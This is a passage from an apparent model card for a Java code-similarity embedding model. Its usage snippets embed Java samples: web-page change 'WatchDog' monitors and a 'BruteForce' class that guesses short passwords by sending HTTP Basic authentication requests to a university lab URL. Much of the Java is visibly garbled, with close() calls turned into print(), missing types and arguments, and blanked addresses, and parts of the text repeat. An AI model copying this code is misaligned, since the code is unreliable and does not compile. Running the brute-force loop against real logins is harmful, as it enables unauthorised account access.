CANNOT  performed " +\n                                      "with this output file");\n                  System.out.println("because it is the only output file " +\n                                     "in existence.");\n                  System.out.println();\n               }\n\n            }\n\n         }\n\n         catch(Exception e)\n         {\n\n            boolURLisOK = false;\n\n            System.err.println(e);\n         }   \n\n         finally\n         { \n            urlConnection = null;\n            url = null; \n         }\n\n      }\n\n\n      System.out.println();\n\n   }\n\n\n\n\n\n\n\n   static void tidyUpWatchDogFiles()\n   \n   {\n\n         \n         \n\n\n         \n         \n      deleteFile(strWatchDogDiffFile_01_02);\n\n\n         \n         \n      deleteFile(strImageOutputFile01);\n      deleteFile(strImageOutputFile02);\n\n\n      if (fileExists(strWebPageOutputFile01))\n      {\n\n         if (fileExists(strWebPageOutputFile02))\n         {\n               \n               \n               \n               \n               \n            deleteFile(strWebPageOutputFile01);\n            renameFile(strWebPageOutputFile02, strWebPageOutputFile01);\n         }\n\n      }\n\n      else\n      {\n            \n            \n            \n         deleteFile(strWebPageOutputFile02);\n      }\n\n   }\n\n\n\n\n\n\n\n   static void promptForEmailAddresses()\n   \n   {      \n\n\n      BufferedReader stdin = new BufferedReader(new InputStreamReader(System.in));\n\n\n\n\n         \n         \n      System.out.println();\n      System.out.println("\'From\' email address");\n      System.out.println("--------------------");\n      System.out.println("Please enter a \'From\' email address,  press Enter for default");\n      System.out.print("(default: " + strFromEmailDefault + "):  ");\n\n      try\n      {\n         strFromEmail = stdin.readLine();\n      }\n      catch (Exception e)\n      {\n         System.err.println(e);\n      }\n \n\n      System.out.println();\n\n      if ( (strFromEmail == null) || (strFromEmail.length() == 0) )\n      {\n         System.out.println(" email address was entered.");         \n         System.out.println("The \'From\' email address  default :  " + strFromEmailDefault);         \n         strFromEmail = strFromEmailDefault;\n      }\n\n      else\n      {\n         System.out.println("The entered \'From\' email address is:  " + strFromEmail);         \n      }\n\n\n\n         \n         \n      System.out.println();\n      System.out.println("\'\' email address");\n      System.out.println("------------------");\n      System.out.println("Please enter a \'\' email address,  press Enter for default");\n      System.out.print("(default: " + strToEmailDefault + "):  ");\n\n      try\n      {\n         strToEmail = stdin.readLine();\n      }\n      catch (Exception e)\n      {\n         System.err.println(e);\n      }\n \n\n      System.out.println();\n\n      if ( (strToEmail == null) || (strToEmail.length() == 0) )\n      {\n         System.out.println(" email address was entered.");         \n         System.out.println("The \'\' email address  default :  " + strToEmailDefault);         \n         strToEmail = strToEmailDefault;\n      }\n\n      else\n      {\n         System.out.println("The entered \'\' email address is:  " + strToEmail);         \n      }\n\n   }\n\n\n\n\n\n\n\n   static void writeTextToFile(String strText,\n                               String strWriteToThisFileName)\n   \n   {\n\n      try\n      {\n\n         File newFile = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n         {\n            newFile.delete();\n         }\n\n\n         BufferedWriter toFile =\n              new BufferedWriter(new FileWriter(newFile,\n                                                false));\n\n         toFile.write(strText);\n\n         toFile.print();\n         toFile = null;\n         newFile = null;\n\n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n         System.out.println("File write problem for \'" + \n                            strWriteToThisFileName     +\n                            "\'.");               \n      }\n\n   }\n\n\n\n\n\n\n\n   static void createDiffFileIfNeeded(String strFileName1, \n                                      String strFileName2)\n   \n   {\n\n\n\n\n\n\n\n\n\n\n\n\n\n         \n         \n\n         \n         \n      try\n      {\n\n         Process p = Runtime.getRuntime().exec("./diff_files.sh");\n         p.waitFor();\t\n\n      }\n\n      catch (Exception e)\n      {\n         System.out.println("Shell script exception");\n         System.out.println("----------------------");\n         System.err.println(e);\n         System.out.println("");\n      }\n\n   }\n\n\n\n\n\n\n\n   static void createImageTextFile(String inputFile, String prePend)\n   \n   {\n\n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n\n      String str;\n      String strImage = "";\n      String strImageArray[];\n      String strInputFromFile = "";\n      String strSearchString = "<img src";\n\n      boolean boolContinue = true;\n\n      int intImageCounter  = 0;\n      int intStartSearch   = 0;\n\n      char ch;\n\n\n\n\n\n      strImageArray = new String[1000];\n\n\n\n         \n         \n      try\n      {\n\n         BufferedReader file =\n              new BufferedReader(new FileReader(inputFile));\n\n\n         while ( (str = file.readLine()) != null)\n         {\n            strInputFromFile += str;\n         }\n\n         file.print();\n         file = null;\n\n      }\n\n      catch (Exception e)\n      {\n         boolContinue = false;\n         System.err.println(e);       \n      }\t\n\n\n\n      if (boolContinue)\n      {\n\n         strInputFromFile = (strInputFromFile.toLowerCase()).trim();\n\n         intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n\n         while (intStartSearch != -1)\n         {\n\n            intStartSearch += 8;\n\n            while ( (strInputFromFile.charAt(intStartSearch) == \' \')  ||\n                    (strInputFromFile.charAt(intStartSearch) == \'=\')  ||\n                    (strInputFromFile.charAt(intStartSearch) == \'\\"\')   )\n            {\n               intStartSearch++;          \n            }\n\n            while ((strInputFromFile.charAt(intStartSearch) != \'\\"\'))              \n            {\n\n               ch = strInputFromFile.charAt(intStartSearch);\n\n               strImage += String.valueOf(ch);\n               intStartSearch++;\n\n            }\n\n\n            if (strImage.startsWith("/"))\n               strImage = prePend + strImage;          \n\n\n            intImageCounter++;\n            strImageArray[intImageCounter - 1] = strImage;\n\n            strImage = "";\n\n            intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n         }\n\n\n         if (inputFile.equals(strWebPageOutputFile01))     \n         { \n            writeTextArrayToFile(strImageArray, \n                                 strImageOutputFile01,\n                                 intImageCounter);\n         }\n         else if (inputFile.equals(strWebPageOutputFile02))     \n         { \n            writeTextArrayToFile(strImageArray, \n                                 strImageOutputFile02,\n                                 intImageCounter);\n         }\n\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static void downloadImages(String ImageOutputFile)\n   \n   {\n\n      Process p;\n\n      String str;\n      String strFileName;\n\n\n\n      try      \n      {\n\n         BufferedReader file =\n                 new BufferedReader(new FileReader(ImageOutputFile));\n\n\n\n         while ( (str = file.readLine()) != null)\n         {\n\n            strFileName = getImageFileName(str);\n\n            System.out.println("    " + str);\n            System.out.println("             file name:  " + strFileName);                                                           \n\n\n            if (fileExists(strFileName))\n               deleteFile(strFileName);\n\n\n            p = Runtime.getRuntime().exec("wget " + str);\n            p.waitFor();\t\n\n         }\n\n\n         file = null;\n\n      }\n\n      catch (Exception e)\n      {\n         System.err.println("downloadingImages:  " + e);\n      }\n\n   }\n\n\n\n\n\n\n\n   static String getImageFileName(String imageFileName)\n   \n   {\n\n         \n         \n         \n\n      String strFileName;\n\n      int intFileNameLength     = imageFileName.length();      \n      int intStartPosOfFileName = intFileNameLength - 1;\n\n\n\n\n         \n         \n      while ( (intStartPosOfFileName >= 0) && \n              (imageFileName.charAt(intStartPosOfFileName) != \'/\') )\n      {\n         intStartPosOfFileName--; \n      }\n\n\n      strFileName = imageFileName.substring(intStartPosOfFileName + 1, \n                                            intFileNameLength);\n\n\n      return strFileName;\n\n   }\n\n\n\n\n\n\n\n   static void writeTextArrayToFile(String strTextArray[],\n                                    String strWriteToThisFileName,\n                                    int numberOfImages )\n   \n   {\n\n      boolean boolFirstLineWritten = false;\n\n\n\n      try\n      {\n\n         File newFile = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n         {\n            newFile.delete();\n         }\n\n\n         BufferedWriter toFile =\n              new BufferedWriter(new FileWriter(newFile,\n                                                false));\n\n         for ( int i = 0 ; i < numberOfImages ; i++ )\n         {\n\n            if (boolFirstLineWritten) \n               toFile.newLine();\n            else\n               boolFirstLineWritten = true;\n  \n\n            toFile.write(strTextArray[i]);\n\n         }\n\n\n         toFile.print();\n         toFile = null;\n         newFile = null;\n\n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n         System.out.println("File write problem for \'" + \n                            strWriteToThisFileName     +\n                            "\'.");               \n      }\n\n   }\n\n\n\n\n\n\n\n   static boolean fileExists(String strFileName)\n   \n   {\n\n      boolean boolReturnValue;\n      File aFile = new File(strFileName);\n\n\n      if (aFile.exists())\n         boolReturnValue = true;\n      else\n         boolReturnValue = false;\n      \n\n      aFile = null;\n\n\n      return boolReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static void deleteFile(String strFileName)\n   \n   {\n\n\n      if (fileExists(strFileName))\n      { \n         File aFile = new File(strFileName);\n\n         try\n         {\n            aFile.delete();\n         }\n\n         catch (Exception e)\n         {\n            System.err.println(e);\n         }\n\n\n         aFile = null;\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static void renameFile(String strFromFileName, String strToFileName)\n   \n   {\n\n\n      File from = new File(strFromFileName);\n      File to   = new File(strToFileName);\n\n\n      boolean success = from.renameTo();\n\n\n      from = null;\n      to = null;\n\n   }\n\n\n\n\n\n\n\n   static  getFileSize(String strFileName)\n   \n   {\n\n       lngReturnValue;\n\n\n\n      File file = new File(strFileName);\n      \n      lngReturnValue = file.length();\n\n      file = null;\n\n\n      return lngReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static void sendMailWithDetectedChanges()\n   \n   {\n\n      String str;\n      String strInputFromFile = null;\n\n\n\n      try \n      { \n\n\n         BufferedReader fromFile =\n              new BufferedReader(new FileReader(strWatchDogDiffFile_01_02));\n\n\n         while ( (str = fromFile.readLine()) != null)\n         {\n            strInputFromFile += str;\n         }\n\n         fromFile.print();\n         fromFile = null;\n\n\n            \n            \n            \n         SmtpClient smtp = new SmtpClient(); \n\n            \n            \n         smtp.from(strFromEmail); \n\n            \n            \n         smtp.to(strToEmail); \n\n            \n            \n         PrintStream msg = smtp.startMessage(); \n\n            \n            \n         msg.println(": " + strToEmail); \n\n            \n            \n         msg.println("From: " + strFromEmail); \n         msg.println("Subject: Change in website content\\n"); \n         msg.println(strInputFromFile); \n\n            \n            \n            \n         smtp.closeServer(); \n\n      } \n\n      catch (IOException e) \n      {\n         System.err.println(e);     \n      } \n\n   }\n\n}',
    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass BruteForce {\n\n    String password="";\n\n    int num =401;\n\n\n    public static void main (String[] args) {\n\n      String str="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n\n      BruteForce URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      \n      if (args.length == 0) {\n      \t\n      \tSystem.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      \treturn;\n      \t\n      \t}\n      String username = args[0];\n      \n\n      t0=System.currentTimeMillis();\n\n      System.out.println ("  " + new Date());\n      \n      System.out.println ("Using BruteForce method  attack "+username+"\'s password.Please waiting.......");\n\n       for (int i=0;i<str.length();i++){\n\n             passwd=str.substring(i,i+1);\n\n             URLcon = new BruteForce (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n\n\n             \tSystem.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n\n                System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n             for (int j=0;j<str.length();j++){\n\n                passwd =str.substring(i,i+1)+str.substring(j,j+1);\n\n                URLcon = new BruteForce (passwd,username);\n\n                if ((URLcon.num)!=401) {\n\n             \t     t1=System.currentTimeMillis();\n\n                     System.out.println("The password: "+ passwd);\n\n\n                     double dt =t1-t0;\n\n\n\n                     System.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n                     System.out.println ("Finish  " + new Date());\n             \t return;\n\n                 }\n                for (int m=0;m<str.length();m++){\n\n                  passwd = str.substring(i,i+1)+str.substring(j,j+1)+str.substring(m,m+1);\n\n                  URLcon = new BruteForce (passwd,username);\n\n                  if ((URLcon.num)!=401) {\n\n                 \tt1=System.currentTimeMillis();\n\n                    System.out.println("The password: "+ passwd);\n\n\n             \t    double dt =t1-t0;\n\n\n\n                 \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n                    \n                    System.out.println ("Finish  " + new Date());\n                    \n             \t    return;\n\n                  }\n\n\n             }\n\n}\n}\n        System.out.println(" not find the password");\n\n}\n\n   public  BruteForce  (String password, String username){\n\n  \t  String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      \n\n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n        url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERTa-Softmax-PairClass-VAST")
# Run inference
sentences = [
    'import java.io.*;\nimport java.util.*;\nimport java.text.*;\nimport java.net.*;\nimport java.security.*;\n\n\n\npublic class WatchDog extends Thread\n{\n\n\t\n\tpublic static void main (String args[])\n\t{\n\t    WatchDog watcher = new WatchDog();\n\t    watcher.run();\n\t}\n\n\t\n    public void run()\n    {\n   \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n          twentyFourHours = 24 * 60 * 60 * 1000;\n        \n\n   \t\twriteProgramLog("Program started at " + longTimestamp.format(new Date()));\n        while(true)\n        {\n    \t\twriteProgramLog("Running run at " + longTimestamp.format(new Date()));\n            compare();\n            try\n            {\n                sleep(twentyFourHours);\n            }\n            catch(InterruptedException e)\n            {\n                writeProgramLog("Program terminated at " + longTimestamp.format(new Date()));\n                System.exit(0);\n            }\n        }\n    } \n\n\t\n    private void compare()\n    {\n        \n        \n        \n        String watchDogFile = "watchDogHash_rcroft.";\n        String watchDogPageFile = "watchDogPage_rcroft.html";\n    \n        File watchDogLogFile = new File(watchDogFile);\n        \n        if(!watchDogLogFile.exists())\n        {\n            \n            \n            \n            \n            \n            WebPage targetPage = getPage();\n            if(targetPage.getSuccess())\n            {\n                byte[] newHash = calcHash(targetPage.getPageContents());\n                writeHash(newHash, watchDogFile);\n                writePage(targetPage.getPageContents(), watchDogPageFile);\n            }\n        }\n        else\n        {\n            try\n            {\n                \n                \n                \n                \n                \n                \n                WebPage targetPage = getPage();\n                if(targetPage.getSuccess())\n                {\n                    \n                    byte[] oldHash = new byte[16]; \n                    byte[] newHash = calcHash(targetPage.getPageContents());\n\n                    \n                    DataInputStream inWatchDogFile = new DataInputStream(new FileInputStream(watchDogFile));\n                    inWatchDogFile.readFully(oldHash);\n                    inWatchDogFile.print();\n                    \n                    \n                    \n                    \n                    if(!java.util.Arrays.equals(oldHash, newHash))\n                    {\n                        String differences = enumerateDifferences(watchDogPageFile, targetPage.getPageContents());\n                        mail(differences);\n                        writeHash(newHash, watchDogFile);\n                        writePage(targetPage.getPageContents(), watchDogPageFile);\n                    }\n                }\n            }\n            catch(IOException e)\n            {\n                writeProgramLog("Exception: " + e);\n            }\n        }\n    } \n    \n\n\t\n\tprivate String enumerateDifferences(String oldPageFileName, String newPageData)\n\t{\n\t    String differences = "";\n\t    File newFile = null;\n\n\t    try\n\t    {\n\t      \n\t      \n\t      newFile = File.createTempFile("new", "tmp");\n          String tempFilePath = newFile.getAbsolutePath();\n          DataOutputStream outFile = new DataOutputStream(new FileOutputStream(tempFilePath));\n          outFile.writeBytes(newPageData);\n          outFile.print();\n          \n          \n          String commandLine = "diff " + oldPageFileName + " " + tempFilePath;\n          Process p = Runtime.getRuntime().exec(commandLine);\n          BufferedReader diffs = new BufferedReader(new InputStreamReader(p.getInputStream()));\n          String line;\n          while((line = diffs.readLine()) != null)\n            differences += line + "\\n";\n          diffs.print();\n          newFile.delete();\n\t    }\n\t    catch(IOException e)\n\t    {\n\t        writeProgramLog("Exception: " + e);\n\t    }\n\t    return differences;\n\t}  \n\n\t\n    private void mail(String mailMessage)\n    {\n        \n        Vector emailAddresses = new Vector();\n        String watchDogEmailFile = "watchDogEmail_rcroft.txt";\n\n        \n        File emailFile = new File(watchDogEmailFile);\n        if(emailFile.exists())\n        {\n            try\n            {\n                \n                BufferedReader inWatchDogEmailFile = new BufferedReader(new InputStreamReader(new FileInputStream(watchDogEmailFile)));\n                String line;\n                while ((line = inWatchDogEmailFile.readLine()) != null)\n                {\n                    line = line.trim();\n                    if((line != "") && (line != "\\n"))\n                        emailAddresses.add(line);\n                }\n                inWatchDogEmailFile.print();\n    \t    }\n    \t    catch(FileNotFoundException e)\n    \t    {\n    \t        writeProgramLog("Exception: " + e);\n    \t    }\n    \t    catch(IOException e)\n    \t    {\n    \t        writeProgramLog("Exception: " + e);\n    \t    }\n        }\n        else\n        {\n            emailAddresses.add("@yallara.cs.rmit.edu.");\n            emailAddresses.add("[email protected].");\n        }\n                \n        if(emailAddresses.size() > 0) \n        {\n            try\n            {\n                String fromAddress = "From: " + "WatchDog Program ()" + " <" + System.getProperty("user.name") + "@" + InetAddress.getLocalHost().getHostName() + ">";\n        \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n                String subject = "Subject: [SEC project] Notification of target file changes (" + longTimestamp.format(new Date()) +")";\n                for(int i = 0; i < emailAddresses.size(); i++)\n                {\n                    String toAddress = (String) emailAddresses.get(i);\n                    try\n                    {\n                        URL mailURL = new URL("mailto: " + toAddress);\n                        URLConnection mailConnection = mailURL.openConnection();\n                        mailConnection.setDoInput(false);\n                        mailConnection.setDoOutput(true);\n                        mailConnection.connect();\n                        PrintWriter mailWriter = new PrintWriter(new OutputStreamWriter(mailConnection.getOutputStream()));\n                        mailWriter.print(": " + toAddress + "\\n");\n                        mailWriter.print(fromAddress + "\\n");\n                        mailWriter.print(subject + "\\n");\n                        mailWriter.print(mailMessage);\n                        mailWriter.print();\n                        writeProgramLog("\\tNotification mailed in this run.");\n                    }\n                    catch(MalformedURLException e)\n                    {\n                        writeProgramLog("Exception: " + e);\n                    }\n                    catch(IOException e)\n                    {\n                        writeProgramLog("Exception: " + e);\n                    }\n                }\n            }\n            catch(UnknownHostException e)\n            {\n                writeProgramLog("Exception: " + e);\n            }  \n        }  \n    } \n    \n\n\t\n    private void writeHash(byte [] newHash, String fileName)\n    {\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n            outFile.write(newHash, 0, newHash.length);\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n    }  \n    \n\t\n    private void writePage(String newPage, String fileName)\n    {\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n            outFile.writeBytes(newPage);\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n    }  \n    \n\n\t\n    private void writeProgramLog(String comment)\n    {\n        String fileName = "watchDogLog_rcroft.txt";\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName, true));\n            outFile.writeBytes(comment + "\\n");\n            outFile.flush();\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            \n            \n            System.out.println("Exception: " + e);\n        }\n    }  \n\n\t\n    private WebPage getPage()\n    {\n        WebPage tempWebPage = new WebPage();\n        try\n        {\n            \n            \n            \n            String urlName = "http://www.cs.rmit.edu./students/";\n   \t    \tURL targetURL= new URL(urlName);\n           \tHttpURLConnection connection = (HttpURLConnection) targetURL.openConnection();\n        \n            \n            connection.connect();\n            connection.getResponseCode();\n            if(connection.getResponseCode() == 200)\n\t\t    {\n\t\t        String fileContents = "";\n\t\t        BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));\n                String line;\n    \t\t    while((line = in.readLine()) != null)\n\t\t    \t    fileContents = fileContents + line + "\\n";\n\t\t        in.print();\n\t\t        tempWebPage.setPageContents(fileContents);\n    \t\t    tempWebPage.setSuccess(true);\n    \t\t    connection.disconnect();\n\t        }\n\t        else\n\t\t    {\n    \t\t    writeProgramLog("Failed  connect " + connection.getResponseCode());\n\t\t    } \n        }\n        catch(IOException e)\n        {\n    \t    writeProgramLog("Exception " + e);\n        } \n        return tempWebPage;\n    } \n    \n\t\n    private  byte[] calcHash(String pageContents)\n    {\n        byte[] outHash = null;\n        try\n        {\n            MessageDigest msg = MessageDigest.getInstance("");\n            msg.reset();\n            msg.update(pageContents.getBytes());\n            outHash = msg.digest();\n            msg.reset();\n        }\n        catch(NoSuchAlgorithmException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n        return outHash;\n    } \n        \n} \n',
    '\n\n\n\n \nimport java.io.*;\nimport java.net.*;\nimport java.Runtime;\nimport java.util.*;\nimport java.net.smtp.SmtpClient; \n\n\n\npublic class WatchDog\n\n{\n\n   static String strImageOutputFile01      = "WebPageImages01.txt";\n   static String strImageOutputFile02      = "WebPageImages02.txt";\n\n   static String strWebPageOutputFile01    = "WebPageOutput01.txt";\n   static String strWebPageOutputFile02    = "WebPageOutput02.txt";\n\n   static String strWatchDogDiffFile_01_02 = "WatchDogDiff_01_02.txt";\n\n   static String strFromEmailDefault = "@.rmit.edu.";\n   static String strToEmailDefault   = "@.rmit.edu.";\n\n   static String strFromEmail = null;\n   static String strToEmail   = null;\n\n\n\n\n   public static void main (String args[])\n   \n   {\n\n         \n         \n         \n         \n         \n\n      URL url = null;\n      HttpURLConnection urlConnection;\n      int intContentLength;\n      String strWebPageText = "";\n\n      String strURL     = "http://www.cs.rmit.edu./students/";\n      String strPrePend = "http://www.cs.rmit.edu.";\n\n      boolean boolURLisOK = true;\n\n\n\n\n\n      System.out.println();\n\n\n         \n         \n      tidyUpWatchDogFiles();\n\n\n         \n         \n         \n         \n      promptForEmailAddresses();\n\n\n\n\n      try\n      {\n            \n            \n         url = new URL(strURL);       \n      }\n\n      catch(MalformedURLException e)\n      {\n         System.out.println("ERROR:  invalid URL " + strURL);   \n         System.err.println(e);  \n \n         boolURLisOK = false;\n         url = null;\n      }    \n\n      catch(Exception e)\n      {\n         System.out.println("Exception");   \n         System.err.println(e);  \n      }\n\n\n      System.err.println();  \n\n\n      if (boolURLisOK)\n      {\n         try\n         { \n\n               \n               \n            urlConnection = (HttpURLConnection)url.openConnection();\n\n\n               \n               \n            InputStream urlStream = urlConnection.getInputStream();\n\n\n               \n               \n            int intNumRead = urlStream.print();\n            String strNewContent; \n\n            while (intNumRead != -1)\n            {\n               intNumRead = urlStream.print();\n               if (intNumRead != -1)\n               {\n                  strNewContent = (char)intNumRead + ""; \n                  strWebPageText += strNewContent;\n               }\n            }\n\n            urlStream.print(); \n\n\n\n               \n               \n            if (strWebPageText != null)\n            {\n\n               if (fileExists(strWebPageOutputFile01))\n               {\n                  writeTextToFile(strWebPageText, strWebPageOutputFile02);               \n               }\n\n               else\n               {\n                  writeTextToFile(strWebPageText, strWebPageOutputFile01);               \n               }\n\n\n               if (fileExists(strWebPageOutputFile02))\n               { \n                  System.out.println("Output file");\n                  System.out.println("-----------");\n                  System.out.println("The output file \'"   + \n                                     strWebPageOutputFile02    + \n                                     "\' has NOW BEEN created.");                                    \n                  System.out.println();\n                  System.out.println("Comparison");\n                  System.out.println("----------");\n                  System.out.println("A text comparison  NOW  performed " +\n                                      "with the output");\n                  System.out.println("file \'" + strWebPageOutputFile01 + "\'.");\n                  System.out.println();\n\n\n\n                     \n                     \n\n                     \n                     \n                  createDiffFileIfNeeded(strWebPageOutputFile01, \n                                         strWebPageOutputFile02);                  \n\n\n                     \n                     \n                  if (fileExists(strWatchDogDiffFile_01_02))\n                  { \n\n                     System.out.println("Mail  (ordinary text comparison)");\n                     System.out.println("--------------------------------");\n\n                     if (getFileSize(strWatchDogDiffFile_01_02) > 0)\n                     {\n                        sendMailWithDetectedChanges();\n                        System.out.println("Text diff mail has been sent  the \'\' email address.");\n                     }\n                     else\n                     {\n                        System.out.println("The DIFF file has zero length - text diff mail has NOT been sent.");\n                     }\n\n                  }\n\n\n\n                     \n                     \n                  createImageTextFile(strWebPageOutputFile01, strPrePend);\n                  createImageTextFile(strWebPageOutputFile02, strPrePend);\n\n                  System.out.println();\n                  System.out.println("Image text file/s");\n                  System.out.println("-----------------");\n\n\n                  if (fileExists(strImageOutputFile01))\n                  {\n                     System.out.println("\'" + strImageOutputFile01 + "\' has been created.");\n                     System.out.println("Images from \'" + strImageOutputFile01 + "\'  now  downloaded using");  \n                     System.out.println("the Unix \'wget\' command:");  \n\n                     downloadImages(strImageOutputFile01);\n                  }\n\n                  if (fileExists(strImageOutputFile02))\n                  {\n                     System.out.println();\n                     System.out.println("\'" + strImageOutputFile02 + "\' has been created.");\n                  }\n\n                  System.out.println();\n\n               }\n\n               else if (fileExists(strWebPageOutputFile01))\n               {\n                  System.out.println("Output file");\n                  System.out.println("-----------");\n                  System.out.println("The output file \'"   + \n                                     strWebPageOutputFile01    + \n                                     "\' has NOW BEEN created.");                                    \n                  System.out.println();\n                  System.out.println("Comparison");\n                  System.out.println("----------");\n                  System.out.println("A comparison CANNOT  performed " +\n                                      "with this output file");\n                  System.out.println("because it is the only output file " +\n                                     "in existence.");\n                  System.out.println();\n               }\n\n            }\n\n         }\n\n         catch(Exception e)\n         {\n\n            boolURLisOK = false;\n\n            System.err.println(e);\n         }   \n\n         finally\n         { \n            urlConnection = null;\n            url = null; \n         }\n\n      }\n\n\n      System.out.println();\n\n   }\n\n\n\n\n\n\n\n   static void tidyUpWatchDogFiles()\n   \n   {\n\n         \n         \n\n\n         \n         \n      deleteFile(strWatchDogDiffFile_01_02);\n\n\n         \n         \n      deleteFile(strImageOutputFile01);\n      deleteFile(strImageOutputFile02);\n\n\n      if (fileExists(strWebPageOutputFile01))\n      {\n\n         if (fileExists(strWebPageOutputFile02))\n         {\n               \n               \n               \n               \n               \n            deleteFile(strWebPageOutputFile01);\n            renameFile(strWebPageOutputFile02, strWebPageOutputFile01);\n         }\n\n      }\n\n      else\n      {\n            \n            \n            \n         deleteFile(strWebPageOutputFile02);\n      }\n\n   }\n\n\n\n\n\n\n\n   static void promptForEmailAddresses()\n   \n   {      \n\n\n      BufferedReader stdin = new BufferedReader(new InputStreamReader(System.in));\n\n\n\n\n         \n         \n      System.out.println();\n      System.out.println("\'From\' email address");\n      System.out.println("--------------------");\n      System.out.println("Please enter a \'From\' email address,  press Enter for default");\n      System.out.print("(default: " + strFromEmailDefault + "):  ");\n\n      try\n      {\n         strFromEmail = stdin.readLine();\n      }\n      catch (Exception e)\n      {\n         System.err.println(e);\n      }\n \n\n      System.out.println();\n\n      if ( (strFromEmail == null) || (strFromEmail.length() == 0) )\n      {\n         System.out.println(" email address was entered.");         \n         System.out.println("The \'From\' email address  default :  " + strFromEmailDefault);         \n         strFromEmail = strFromEmailDefault;\n      }\n\n      else\n      {\n         System.out.println("The entered \'From\' email address is:  " + strFromEmail);         \n      }\n\n\n\n         \n         \n      System.out.println();\n      System.out.println("\'\' email address");\n      System.out.println("------------------");\n      System.out.println("Please enter a \'\' email address,  press Enter for default");\n      System.out.print("(default: " + strToEmailDefault + "):  ");\n\n      try\n      {\n         strToEmail = stdin.readLine();\n      }\n      catch (Exception e)\n      {\n         System.err.println(e);\n      }\n \n\n      System.out.println();\n\n      if ( (strToEmail == null) || (strToEmail.length() == 0) )\n      {\n         System.out.println(" email address was entered.");         \n         System.out.println("The \'\' email address  default :  " + strToEmailDefault);         \n         strToEmail = strToEmailDefault;\n      }\n\n      else\n      {\n         System.out.println("The entered \'\' email address is:  " + strToEmail);         \n      }\n\n   }\n\n\n\n\n\n\n\n   static void writeTextToFile(String strText,\n                               String strWriteToThisFileName)\n   \n   {\n\n      try\n      {\n\n         File newFile = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n         {\n            newFile.delete();\n         }\n\n\n         BufferedWriter toFile =\n              new BufferedWriter(new FileWriter(newFile,\n                                                false));\n\n         toFile.write(strText);\n\n         toFile.print();\n         toFile = null;\n         newFile = null;\n\n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n         System.out.println("File write problem for \'" + \n                            strWriteToThisFileName     +\n                            "\'.");               \n      }\n\n   }\n\n\n\n\n\n\n\n   static void createDiffFileIfNeeded(String strFileName1, \n                                      String strFileName2)\n   \n   {\n\n\n\n\n\n\n\n\n\n\n\n\n\n         \n         \n\n         \n         \n      try\n      {\n\n         Process p = Runtime.getRuntime().exec("./diff_files.sh");\n         p.waitFor();\t\n\n      }\n\n      catch (Exception e)\n      {\n         System.out.println("Shell script exception");\n         System.out.println("----------------------");\n         System.err.println(e);\n         System.out.println("");\n      }\n\n   }\n\n\n\n\n\n\n\n   static void createImageTextFile(String inputFile, String prePend)\n   \n   {\n\n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n\n      String str;\n      String strImage = "";\n      String strImageArray[];\n      String strInputFromFile = "";\n      String strSearchString = "<img src";\n\n      boolean boolContinue = true;\n\n      int intImageCounter  = 0;\n      int intStartSearch   = 0;\n\n      char ch;\n\n\n\n\n\n      strImageArray = new String[1000];\n\n\n\n         \n         \n      try\n      {\n\n         BufferedReader file =\n              new BufferedReader(new FileReader(inputFile));\n\n\n         while ( (str = file.readLine()) != null)\n         {\n            strInputFromFile += str;\n         }\n\n         file.print();\n         file = null;\n\n      }\n\n      catch (Exception e)\n      {\n         boolContinue = false;\n         System.err.println(e);       \n      }\t\n\n\n\n      if (boolContinue)\n      